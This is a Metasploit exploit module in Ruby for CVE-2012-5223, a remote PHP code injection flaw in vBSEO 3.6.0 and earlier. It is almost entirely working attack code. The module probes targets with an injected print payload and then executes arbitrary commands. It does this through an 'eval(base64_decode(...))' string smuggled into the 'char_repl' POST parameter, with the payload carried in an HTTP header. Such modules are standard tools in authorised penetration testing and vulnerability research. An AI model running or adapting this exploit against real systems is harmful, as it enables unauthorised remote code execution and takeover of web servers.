##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'vBSEO proc_deutf() Remote PHP Code Injection',
        'Description' => %q{
          This module exploits a vulnerability in the 'proc_deutf()' function
          defined in /includes/functions_vbseocp_abstract.php for vBSEO versions
          3.6.0 and earlier. User input passed through 'char_repl' POST parameter
          isn't properly sanitized before being used in a call to preg_replace()
          function which uses the 'e' modifier. This can be exploited to inject
          and execute arbitrary code leveraging the PHP's complex curly syntax.
        },
        'Author' => 'EgiX <n0b0d13s[at]gmail.com>', # originally reported by the vendor
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2012-5223'],
          ['OSVDB', '78508'],
          ['BID', '51647'],
          ['EDB', '18424']
        ],
        'Privileged' => false,
        'Payload' => {
          'DisableNops' => true,
          'Space' => 8190,
          'Keys' => ['php'],
        },
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Targets' => [[ 'Automatic', {}]],
        'DisclosureDate' => '2012-01-23',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('URI', [true, "The full URI path to vBulletin", "/vb/"]),
        OptString.new('CMD', [false, "Command to execute"])
      ]
    )
  end

  def check
    flag = rand_text_alpha(rand(10) + 10)
    data = "char_repl='{${print(#{flag})}}'=>"

    uri = normalize_uri(datastore['URI'], 'vbseocp.php')

    response = send_request_cgi({
      'method' => "POST",
      'uri' => uri,
      'data' => data
    })

    if response.code == 200 and response.body =~ /#{flag}/
      return Exploit::CheckCode::Vulnerable
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    if datastore['CMD']
      p = "passthru(\"%s\");" % datastore['CMD']
      p = Rex::Text.encode_base64(p)
    else
      p = Rex::Text.encode_base64(payload.encoded)
    end

    data = "char_repl='{${eval(base64_decode($_SERVER[HTTP_CODE]))}}.{${die()}}'=>"

    uri = normalize_uri(datastore['URI'], 'vbseocp.php')

    response = send_request_cgi({
      'method' => 'POST',
      'uri' => uri,
      'data' => data,
      'headers' => { 'Code' => p }
    })

    vprint_status("Server replied with #{response ? response.code : "nothing"}")
  end
end
